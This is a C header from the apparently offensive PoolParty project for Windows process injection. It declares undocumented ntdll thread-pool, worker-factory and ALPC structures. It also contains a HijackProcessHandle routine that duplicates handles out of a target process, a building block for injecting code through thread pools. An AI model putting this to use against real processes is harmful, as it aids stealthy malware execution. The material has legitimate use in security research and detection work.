-
Notifications
You must be signed in to change notification settings - Fork 187
/
PoolParty.h
670 lines (592 loc) · 17.4 KB
/
PoolParty.h
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
#pragma once
#include <windows.h>
#include <stdint.h>
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L)
#define WORKER_FACTORY_RELEASE_WORKER 0x0001
#define WORKER_FACTORY_WAIT 0x0002
#define WORKER_FACTORY_SET_INFORMATION 0x0004
#define WORKER_FACTORY_QUERY_INFORMATION 0x0008
#define WORKER_FACTORY_READY_WORKER 0x0010
#define WORKER_FACTORY_SHUTDOWN 0x0020
#define WORKER_FACTORY_ALL_ACCESS ( \
STANDARD_RIGHTS_REQUIRED | \
WORKER_FACTORY_RELEASE_WORKER | \
WORKER_FACTORY_WAIT | \
WORKER_FACTORY_SET_INFORMATION | \
WORKER_FACTORY_QUERY_INFORMATION | \
WORKER_FACTORY_READY_WORKER | \
WORKER_FACTORY_SHUTDOWN \
)
// ---------//
// Structs //
// --------//
typedef struct _TP_TASK_CALLBACKS
{
void* ExecuteCallback;
void* Unposted;
} TP_TASK_CALLBACKS, * PTP_TASK_CALLBACKS;
typedef struct _TP_TASK
{
struct _TP_TASK_CALLBACKS* Callbacks;
UINT32 NumaNode;
UINT8 IdealProcessor;
char Padding_242[3];
struct _LIST_ENTRY ListEntry;
} TP_TASK, * PTP_TASK;
typedef struct _TPP_REFCOUNT
{
volatile INT32 Refcount;
} TPP_REFCOUNT, * PTPP_REFCOUNT;
typedef struct _TPP_CALLER
{
void* ReturnAddress;
} TPP_CALLER, * PTPP_CALLER;
typedef struct _TPP_PH
{
struct _TPP_PH_LINKS* Root;
} TPP_PH, * PTPP_PH;
typedef struct _TP_DIRECT
{
struct _TP_TASK Task;
UINT64 Lock;
struct _LIST_ENTRY IoCompletionInformationList;
void* Callback;
UINT32 NumaNode;
UINT8 IdealProcessor;
char __PADDING__[3];
} TP_DIRECT, * PTP_DIRECT;
typedef struct _TPP_TIMER_SUBQUEUE
{
INT64 Expiration;
struct _TPP_PH WindowStart;
struct _TPP_PH WindowEnd;
void* Timer;
void* TimerPkt;
struct _TP_DIRECT Direct;
UINT32 ExpirationWindow;
INT32 __PADDING__[1];
} TPP_TIMER_SUBQUEUE, * PTPP_TIMER_SUBQUEUE;
typedef struct _TPP_TIMER_QUEUE
{
struct _RTL_SRWLOCK Lock;
struct _TPP_TIMER_SUBQUEUE AbsoluteQueue;
struct _TPP_TIMER_SUBQUEUE RelativeQueue;
INT32 AllocatedTimerCount;
INT32 __PADDING__[1];
} TPP_TIMER_QUEUE, * PTPP_TIMER_QUEUE;
typedef struct _TPP_NUMA_NODE
{
INT32 WorkerCount;
} TPP_NUMA_NODE, * PTPP_NUMA_NODE;
typedef union _TPP_POOL_QUEUE_STATE
{
union
{
INT64 Exchange;
struct
{
INT32 RunningThreadGoal : 16;
UINT32 PendingReleaseCount : 16;
UINT32 QueueLength;
};
};
} TPP_POOL_QUEUE_STATE, * PTPP_POOL_QUEUE_STATE;
typedef struct _TPP_QUEUE
{
struct _LIST_ENTRY Queue;
struct _RTL_SRWLOCK Lock;
} TPP_QUEUE, * PTPP_QUEUE;
typedef struct _FULL_TP_POOL
{
struct _TPP_REFCOUNT Refcount;
long Padding_239;
union _TPP_POOL_QUEUE_STATE QueueState;
struct _TPP_QUEUE* TaskQueue[3];
struct _TPP_NUMA_NODE* NumaNode;
struct _GROUP_AFFINITY* ProximityInfo;
void* WorkerFactory;
void* CompletionPort;
struct _RTL_SRWLOCK Lock;
struct _LIST_ENTRY PoolObjectList;
struct _LIST_ENTRY WorkerList;
struct _TPP_TIMER_QUEUE TimerQueue;
struct _RTL_SRWLOCK ShutdownLock;
UINT8 ShutdownInitiated;
UINT8 Released;
UINT16 PoolFlags;
long Padding_240;
struct _LIST_ENTRY PoolLinks;
struct _TPP_CALLER AllocCaller;
struct _TPP_CALLER ReleaseCaller;
volatile INT32 AvailableWorkerCount;
volatile INT32 LongRunningWorkerCount;
UINT32 LastProcCount;
volatile INT32 NodeStatus;
volatile INT32 BindingCount;
UINT32 CallbackChecksDisabled : 1;
UINT32 TrimTarget : 11;
UINT32 TrimmedThrdCount : 11;
UINT32 SelectedCpuSetCount;
long Padding_241;
struct _RTL_CONDITION_VARIABLE TrimComplete;
struct _LIST_ENTRY TrimmedWorkerList;
} FULL_TP_POOL, * PFULL_TP_POOL;
typedef struct _ALPC_WORK_ON_BEHALF_TICKET
{
UINT32 ThreadId;
UINT32 ThreadCreationTimeLow;
} ALPC_WORK_ON_BEHALF_TICKET, * PALPC_WORK_ON_BEHALF_TICKET;
typedef union _TPP_WORK_STATE
{
union
{
INT32 Exchange;
UINT32 Insertable : 1;
UINT32 PendingCallbackCount : 31;
};
} TPP_WORK_STATE, * PTPP_WORK_STATE;
typedef struct _TPP_ITE_WAITER
{
struct _TPP_ITE_WAITER* Next;
void* ThreadId;
} TPP_ITE_WAITER, * PTPP_ITE_WAITER;
typedef struct _TPP_PH_LINKS
{
struct _LIST_ENTRY Siblings;
struct _LIST_ENTRY Children;
INT64 Key;
} TPP_PH_LINKS, * PTPP_PH_LINKS;
typedef struct _TPP_ITE
{
struct _TPP_ITE_WAITER* First;
} TPP_ITE, * PTPP_ITE;
typedef union _TPP_FLAGS_COUNT
{
union
{
UINT64 Count : 60;
UINT64 Flags : 4;
INT64 Data;
};
} TPP_FLAGS_COUNT, * PTPP_FLAGS_COUNT;
typedef struct _TPP_BARRIER
{
volatile union _TPP_FLAGS_COUNT Ptr;
struct _RTL_SRWLOCK WaitLock;
struct _TPP_ITE WaitList;
} TPP_BARRIER, * PTPP_BARRIER;
typedef struct _TP_CLEANUP_GROUP
{
struct _TPP_REFCOUNT Refcount;
INT32 Released;
struct _RTL_SRWLOCK MemberLock;
struct _LIST_ENTRY MemberList;
struct _TPP_BARRIER Barrier;
struct _RTL_SRWLOCK CleanupLock;
struct _LIST_ENTRY CleanupList;
} TP_CLEANUP_GROUP, * PTP_CLEANUP_GROUP;
typedef struct _TPP_CLEANUP_GROUP_MEMBER
{
struct _TPP_REFCOUNT Refcount;
long Padding_233;
const struct _TPP_CLEANUP_GROUP_MEMBER_VFUNCS* VFuncs;
struct _TP_CLEANUP_GROUP* CleanupGroup;
void* CleanupGroupCancelCallback;
void* FinalizationCallback;
struct _LIST_ENTRY CleanupGroupMemberLinks;
struct _TPP_BARRIER CallbackBarrier;
union
{
void* Callback;
void* WorkCallback;
void* SimpleCallback;
void* TimerCallback;
void* WaitCallback;
void* IoCallback;
void* AlpcCallback;
void* AlpcCallbackEx;
void* JobCallback;
};
void* Context;
struct _ACTIVATION_CONTEXT* ActivationContext;
void* SubProcessTag;
struct _GUID ActivityId;
struct _ALPC_WORK_ON_BEHALF_TICKET WorkOnBehalfTicket;
void* RaceDll;
FULL_TP_POOL* Pool;
struct _LIST_ENTRY PoolObjectLinks;
union
{
volatile INT32 Flags;
UINT32 LongFunction : 1;
UINT32 Persistent : 1;
UINT32 UnusedPublic : 14;
UINT32 Released : 1;
UINT32 CleanupGroupReleased : 1;
UINT32 InCleanupGroupCleanupList : 1;
UINT32 UnusedPrivate : 13;
};
long Padding_234;
struct _TPP_CALLER AllocCaller;
struct _TPP_CALLER ReleaseCaller;
enum _TP_CALLBACK_PRIORITY CallbackPriority;
INT32 __PADDING__[1];
} TPP_CLEANUP_GROUP_MEMBER, * PTPP_CLEANUP_GROUP_MEMBER;
typedef struct _FULL_TP_WORK
{
struct _TPP_CLEANUP_GROUP_MEMBER CleanupGroupMember;
struct _TP_TASK Task;
volatile union _TPP_WORK_STATE WorkState;
INT32 __PADDING__[1];
} FULL_TP_WORK, * PFULL_TP_WORK;
typedef struct _FULL_TP_TIMER
{
struct _FULL_TP_WORK Work;
struct _RTL_SRWLOCK Lock;
union
{
struct _TPP_PH_LINKS WindowEndLinks;
struct _LIST_ENTRY ExpirationLinks;
};
struct _TPP_PH_LINKS WindowStartLinks;
INT64 DueTime;
struct _TPP_ITE Ite;
UINT32 Window;
UINT32 Period;
UINT8 Inserted;
UINT8 WaitTimer;
union
{
UINT8 TimerStatus;
UINT8 InQueue : 1;
UINT8 Absolute : 1;
UINT8 Cancelled : 1;
};
UINT8 BlockInsert;
INT32 __PADDING__[1];
} FULL_TP_TIMER, * PFULL_TP_TIMER;
typedef struct _FULL_TP_WAIT
{
struct _FULL_TP_TIMER Timer;
void* Handle;
void* WaitPkt;
void* NextWaitHandle;
union _LARGE_INTEGER NextWaitTimeout;
struct _TP_DIRECT Direct;
union
{
union
{
UINT8 AllFlags;
UINT8 NextWaitActive : 1;
UINT8 NextTimeoutActive : 1;
UINT8 CallbackCounted : 1;
UINT8 Spare : 5;
};
} WaitFlags;
char __PADDING__[7];
} FULL_TP_WAIT, * PFULL_TP_WAIT;
typedef struct _FULL_TP_IO
{
struct _TPP_CLEANUP_GROUP_MEMBER CleanupGroupMember;
struct _TP_DIRECT Direct;
void* File;
volatile INT32 PendingIrpCount;
INT32 __PADDING__[1];
} FULL_TP_IO, * PFULL_TP_IO;
typedef struct _FULL_TP_ALPC
{
struct _TP_DIRECT Direct;
struct _TPP_CLEANUP_GROUP_MEMBER CleanupGroupMember;
void* AlpcPort;
INT32 DeferredSendCount;
INT32 LastConcurrencyCount;
union
{
UINT32 Flags;
UINT32 ExTypeCallback : 1;
UINT32 CompletionListRegistered : 1;
UINT32 Reserved : 30;
};
INT32 __PADDING__[1];
} FULL_TP_ALPC, * PFULL_TP_ALPC;
typedef struct _T2_SET_PARAMETERS_V0
{
ULONG Version;
ULONG Reserved;
LONGLONG NoWakeTolerance;
} T2_SET_PARAMETERS, * PT2_SET_PARAMETERS;
typedef struct _PROCESS_HANDLE_TABLE_ENTRY_INFO
{
HANDLE HandleValue;
ULONG_PTR HandleCount;
ULONG_PTR PointerCount;
ACCESS_MASK GrantedAccess;
ULONG ObjectTypeIndex;
ULONG HandleAttributes;
ULONG Reserved;
} PROCESS_HANDLE_TABLE_ENTRY_INFO, * PPROCESS_HANDLE_TABLE_ENTRY_INFO;
typedef struct _PROCESS_HANDLE_SNAPSHOT_INFORMATION
{
ULONG_PTR NumberOfHandles;
ULONG_PTR Reserved;
PROCESS_HANDLE_TABLE_ENTRY_INFO Handles[ANYSIZE_ARRAY];
} PROCESS_HANDLE_SNAPSHOT_INFORMATION, * PPROCESS_HANDLE_SNAPSHOT_INFORMATION;
typedef enum
{
ProcessHandleInformation = 51
} PROCESS_INFOCLASS;
typedef struct _WORKER_FACTORY_BASIC_INFORMATION
{
LARGE_INTEGER Timeout;
LARGE_INTEGER RetryTimeout;
LARGE_INTEGER IdleTimeout;
BOOLEAN Paused;
BOOLEAN TimerSet;
BOOLEAN QueuedToExWorker;
BOOLEAN MayCreate;
BOOLEAN CreateInProgress;
BOOLEAN InsertedIntoQueue;
BOOLEAN Shutdown;
ULONG BindingCount;
ULONG ThreadMinimum;
ULONG ThreadMaximum;
ULONG PendingWorkerCount;
ULONG WaitingWorkerCount;
ULONG TotalWorkerCount;
ULONG ReleaseCount;
LONGLONG InfiniteWaitGoal;
PVOID StartRoutine;
PVOID StartParameter;
HANDLE ProcessId;
SIZE_T StackReserve;
SIZE_T StackCommit;
NTSTATUS LastThreadCreationStatus;
} WORKER_FACTORY_BASIC_INFORMATION, * PWORKER_FACTORY_BASIC_INFORMATION;
typedef NTSTATUS(NTAPI* _NtSetTimer2)(
HANDLE TimerHandle,
PLARGE_INTEGER DueTime,
PLARGE_INTEGER Period,
PT2_SET_PARAMETERS Parameters
);
typedef NTSTATUS(NTAPI* _NtQueryInformationProcess)(
IN HANDLE ProcessHandle,
IN PROCESSINFOCLASS ProcessInformationClass,
OUT PVOID ProcessInformation,
IN ULONG ProcessInformationLength,
OUT PULONG ReturnLength OPTIONAL
);
typedef NTSTATUS(NTAPI* _NtQueryObject)(
HANDLE Handle,
OBJECT_INFORMATION_CLASS ObjectInformationClass,
PVOID ObjectInformation,
ULONG ObjectInformationLength,
PULONG ReturnLength
);
typedef enum _QUERY_WORKERFACTORYINFOCLASS
{
WorkerFactoryBasicInformation = 7,
} QUERY_WORKERFACTORYINFOCLASS, * PQUERY_WORKERFACTORYINFOCLASS;
typedef NTSTATUS(NTAPI* _NtQueryInformationWorkerFactory)(
HANDLE WorkerFactoryHandle,
QUERY_WORKERFACTORYINFOCLASS WorkerFactoryInformationClass,
PVOID WorkerFactoryInformation,
ULONG WorkerFactoryInformationLength,
PULONG ReturnLength
);
typedef NTSTATUS(NTAPI* _ZwSetIoCompletion)(
HANDLE IoCompletionHandle,
PVOID KeyContext,
PVOID ApcContext,
NTSTATUS IoStatus,
ULONG_PTR IoStatusInformation
);
typedef struct _FULL_TP_JOB
{
struct _TP_DIRECT Direct;
struct _TPP_CLEANUP_GROUP_MEMBER CleanupGroupMember;
void* JobHandle;
union
{
volatile int64_t CompletionState;
int64_t Rundown : 1;
int64_t CompletionCount : 63;
};
struct _RTL_SRWLOCK RundownLock;
} FULL_TP_JOB, * PFULL_TP_JOB;
typedef NTSTATUS (NTAPI* _TpAllocJobNotification)(
PFULL_TP_JOB* JobReturn,
HANDLE HJob,
PVOID Callback,
PVOID Context,
PTP_CALLBACK_ENVIRON CallbackEnviron
);
typedef struct _ALPC_PORT_ATTRIBUTES
{
ULONG Flags;
SECURITY_QUALITY_OF_SERVICE SecurityQos;
SIZE_T MaxMessageLength;
SIZE_T MemoryBandwidth;
SIZE_T MaxPoolUsage;
SIZE_T MaxSectionSize;
SIZE_T MaxViewSize;
SIZE_T MaxTotalSectionSize;
ULONG DupObjectTypes;
#ifdef _WIN64
ULONG Reserved;
#endif
} ALPC_PORT_ATTRIBUTES, * PALPC_PORT_ATTRIBUTES;
typedef NTSTATUS(NTAPI *_NtAlpcCreatePort)(
PHANDLE PortHandle,
POBJECT_ATTRIBUTES ObjectAttributes,
PALPC_PORT_ATTRIBUTES PortAttributes
);
typedef struct _TP_ALPC TP_ALPC, * PTP_ALPC;
typedef VOID(NTAPI* PTP_ALPC_CALLBACK)(
PTP_CALLBACK_INSTANCE Instance,
PVOID Context,
PTP_ALPC Alpc
);
typedef NTSTATUS( NTAPI* _TpAllocAlpcCompletion)(
PFULL_TP_ALPC* AlpcReturn,
HANDLE AlpcPort,
PTP_ALPC_CALLBACK Callback,
PVOID Context,
PTP_CALLBACK_ENVIRON CallbackEnviron
);
typedef struct _ALPC_PORT_ASSOCIATE_COMPLETION_PORT
{
PVOID CompletionKey;
HANDLE CompletionPort;
} ALPC_PORT_ASSOCIATE_COMPLETION_PORT, * PALPC_PORT_ASSOCIATE_COMPLETION_PORT;
// private
typedef enum _ALPC_PORT_INFORMATION_CLASS
{
AlpcBasicInformation, // q: out ALPC_BASIC_INFORMATION
AlpcPortInformation, // s: in ALPC_PORT_ATTRIBUTES
AlpcAssociateCompletionPortInformation, // s: in ALPC_PORT_ASSOCIATE_COMPLETION_PORT
AlpcConnectedSIDInformation, // q: in SID
AlpcServerInformation, // q: inout ALPC_SERVER_INFORMATION
AlpcMessageZoneInformation, // s: in ALPC_PORT_MESSAGE_ZONE_INFORMATION
AlpcRegisterCompletionListInformation, // s: in ALPC_PORT_COMPLETION_LIST_INFORMATION
AlpcUnregisterCompletionListInformation, // s: VOID
AlpcAdjustCompletionListConcurrencyCountInformation, // s: in ULONG
AlpcRegisterCallbackInformation, // s: ALPC_REGISTER_CALLBACK // kernel-mode only
AlpcCompletionListRundownInformation, // s: VOID // 10
AlpcWaitForPortReferences,
AlpcServerSessionInformation // q: ALPC_SERVER_SESSION_INFORMATION // since 19H2
} ALPC_PORT_INFORMATION_CLASS;
typedef NTSTATUS (NTAPI* _NtAlpcSetInformation)(
HANDLE PortHandle,
ALPC_PORT_INFORMATION_CLASS PortInformationClass,
PVOID PortInformation,
ULONG Length
);
typedef struct _PORT_MESSAGE
{
union
{
struct
{
USHORT DataLength;
USHORT TotalLength;
} s1;
ULONG Length;
} u1;
union
{
struct
{
USHORT Type;
USHORT DataInfoOffset;
} s2;
ULONG ZeroInit;
} u2;
union
{
CLIENT_ID ClientId;
double DoNotUseThisField;
};
ULONG MessageId;
union
{
SIZE_T ClientViewSize; // only valid for LPC_CONNECTION_REQUEST messages
ULONG CallbackId; // only valid for LPC_REQUEST messages
};
} PORT_MESSAGE, * PPORT_MESSAGE;
typedef struct _ALPC_MESSAGE {
PORT_MESSAGE PortHeader;
BYTE PortMessage[1000];
} ALPC_MESSAGE, * PALPC_MESSAGE;
typedef struct _ALPC_MESSAGE_ATTRIBUTES
{
ULONG AllocatedAttributes;
ULONG ValidAttributes;
} ALPC_MESSAGE_ATTRIBUTES, * PALPC_MESSAGE_ATTRIBUTES;
typedef NTSTATUS (NTAPI* _NtAlpcConnectPort)(
PHANDLE PortHandle,
PUNICODE_STRING PortName,
POBJECT_ATTRIBUTES ObjectAttributes,
PALPC_PORT_ATTRIBUTES PortAttributes,
ULONG Flags,
PSID RequiredServerSid,
PPORT_MESSAGE ConnectionMessage,
PSIZE_T BufferLength,
PALPC_MESSAGE_ATTRIBUTES OutMessageAttributes,
PALPC_MESSAGE_ATTRIBUTES InMessageAttributes,
PLARGE_INTEGER Timeout
);
typedef struct _FILE_COMPLETION_INFORMATION
{
HANDLE Port;
PVOID Key;
} FILE_COMPLETION_INFORMATION, * PFILE_COMPLETION_INFORMATION;
typedef NTSTATUS (NTAPI* _NtSetInformationFile)(
HANDLE FileHandle,
PIO_STATUS_BLOCK IoStatusBlock,
PVOID FileInformation,
ULONG Length,
FILE_INFORMATION_CLASS FileInformationClass
);
BYTE* NtQueryObject_(HANDLE x, OBJECT_INFORMATION_CLASS y) {
_NtQueryObject NtQueryObject = (_NtQueryObject)(GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtQueryObject"));
ULONG InformationLength = 0;
NTSTATUS Ntstatus = STATUS_INFO_LENGTH_MISMATCH;
BYTE* Information = NULL;
do {
Information = (BYTE*)realloc(Information, InformationLength);
Ntstatus = NtQueryObject(x, y, Information, InformationLength, &InformationLength);
} while (STATUS_INFO_LENGTH_MISMATCH == Ntstatus);
return Information;
}
HANDLE HijackProcessHandle(PWSTR wsObjectType ,HANDLE p_hTarget, DWORD dwDesiredAccess) {
_NtQueryInformationProcess NtQueryInformationProcess = (_NtQueryInformationProcess)(GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtQueryInformationProcess"));
BYTE* Information = NULL;
ULONG InformationLength = 0;
NTSTATUS Ntstatus = STATUS_INFO_LENGTH_MISMATCH;
do {
Information = (BYTE*)realloc(Information, InformationLength);
Ntstatus = NtQueryInformationProcess(p_hTarget, (PROCESSINFOCLASS)(ProcessHandleInformation), Information, InformationLength, &InformationLength);
} while (STATUS_INFO_LENGTH_MISMATCH == Ntstatus);
PPROCESS_HANDLE_SNAPSHOT_INFORMATION pProcessHandleInformation = (PPROCESS_HANDLE_SNAPSHOT_INFORMATION)(Information);
HANDLE p_hDuplicatedObject;
ULONG InformationLength_ = 0;
for (int i = 0; i < pProcessHandleInformation->NumberOfHandles; i++) {
DuplicateHandle(
p_hTarget,
pProcessHandleInformation->Handles[i].HandleValue,
GetCurrentProcess(),
&p_hDuplicatedObject,
dwDesiredAccess,
FALSE,
(DWORD_PTR)NULL);
BYTE* pObjectInformation;
pObjectInformation = NtQueryObject_(p_hDuplicatedObject, ObjectTypeInformation);
PPUBLIC_OBJECT_TYPE_INFORMATION pObjectTypeInformation = (PPUBLIC_OBJECT_TYPE_INFORMATION)(pObjectInformation);
if (wcscmp(wsObjectType, pObjectTypeInformation->TypeName.Buffer) != 0) {
continue;
}
return p_hDuplicatedObject;
}
}